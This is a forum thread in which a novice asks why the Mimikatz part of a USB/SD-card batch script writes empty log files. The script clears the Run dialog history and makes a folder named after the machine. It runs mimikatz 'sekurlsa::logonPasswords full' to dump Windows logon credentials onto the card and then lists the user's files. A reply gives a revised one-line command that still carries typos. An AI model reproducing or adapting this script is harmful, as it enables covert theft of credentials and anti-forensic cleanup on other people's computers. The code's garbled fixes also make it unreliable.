Jump to content

Mimikatz not working


TWG

Recommended Posts

Can anyone tell me why the Mimikatz portion of this script is not running?  It does create the text files however they are empty.

Ima newb as if you didn't know....

Thanks in advance..

 

@echo off

REM Delete registry keys storing Run dialog history
REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f

REM Creates directory compromised of computer name, date and time
REM %~d0 = path to this batch file. %COMPUTERNAME%, %date% and %time% pretty obvious
set dst=%~d0\slurp\%COMPUTERNAME%_%date:~-4,4%%date:~-10,2%%date:~7,2%_%time:~-10,1%%time:~-8,2%%time:~-5,2%
mkdir %dst% 


REM Run mimikatz 64bit from SD card and save log file to SD
STRING %dst%\x64\mimikatz.exe > %dst%\64.txt   
ENTER
DELAY 1000
STRING priviege::debug
ENTER
DELAY 1000
STRING  sekurlsa::logonPasswords full
ENTER

REM Run mimikatz 32bit from SD card and save log file to SD
STRING %dst%\x32\mimikatz.exe > %dst%\32.txt   
ENTER
DELAY 1000
STRING priviege::debug
ENTER
STRING  sekurlsa::logonPasswords full
ENTER

DIR C:\*.* > %dst%\dir.txt
DIR %USERPROFILE%\Documents\*.* /S >> %dst%\dir.txt

@cls
@exit
 

Link to comment
Share on other sites

Works now... If you can delete this post I would appreciate it.

If only I could spell privilege and 

STRING %dst%\x32\mimikatz.exe > %dst%\32.txt    should be

%~d0%\x64\mimikatz.exe priviege::debug sekurlsa::logonPasswords  > %dst%\64.txt   

Just staring at the screen too long I guess

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...